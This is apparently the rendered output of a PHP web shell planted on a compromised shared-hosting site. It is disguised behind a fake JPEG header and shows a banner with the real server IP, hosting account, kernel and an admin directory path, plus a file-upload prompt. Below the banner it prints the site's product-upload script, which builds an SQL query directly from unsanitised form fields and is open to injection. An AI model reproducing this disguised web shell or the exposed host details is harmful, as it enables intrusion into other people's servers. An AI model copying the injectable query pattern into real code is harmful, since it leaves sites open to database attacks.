���� JFIF fdasasfas213sdaf
Server IP : 147.79.69.148 / Your IP : 216.73.216.200 Web Server : LiteSpeed System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64 User : u479334040 ( 479334040) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u479334040/domains/saumasale.in/public_html/admin/ |
Upload File : |
<?php $data = $_POST['images']; function uploadImage($data){ if (preg_match('/^data:image\/(\w+);base64,/', $data, $type)) { $data = substr($data, strpos($data, ',') + 1); $type = strtolower($type[1]); // jpg, png, gif if (!in_array($type, [ 'jpg', 'jpeg', 'gif', 'png' ])) { throw new \Exception('invalid image type'); } $data = str_replace( ' ', '+', $data ); $data = base64_decode($data); if ($data === false) { throw new \Exception('base64_decode failed'); } } else { throw new \Exception('did not match data URI with image data'); } $folder="product_images/"; $filename = $folder.MD5(date('r')).".{$type}"; if(file_put_contents($filename, $data)){ return $filename; } } $proImage = uploadImage($data); $title = $_POST['title']; $category = $_POST['category']; $price = $_POST['price']; $description = base64_encode(stripslashes(trim($_POST['description']))); $ob->query("insert into product SET title='$title', category='$category', price='$price', description='$description', image='$proImage'"); if($ob->affected_rows() >= 1){ echo "OK"; }else{ echo "Failed/nTry again."; } // $name1=$_FILES['images']['name']; // $tmp=$_FILES['images']['tmp_name']; // $type=$_FILES['images']['type']; // $folder="product_images/"; // $accept_type=array('image/jpeg','image/jpg','image/png','image/bmp','image/gif','image/tiff'); // if(!is_dir($folder)){ // mkdir($folder); // } // if(in_array($type,$accept_type) !== false) // { // $image=explode('.',$name1); // $image_name=MD5(date('r')).'.'.$image[1]; // $img1=$folder.$image_name; // move_uploaded_file($_FILES["images"]["tmp_name"],$img1); // echo json_encode(array("status" => true, "message" => "Image uploaded successfully.")); // } ?>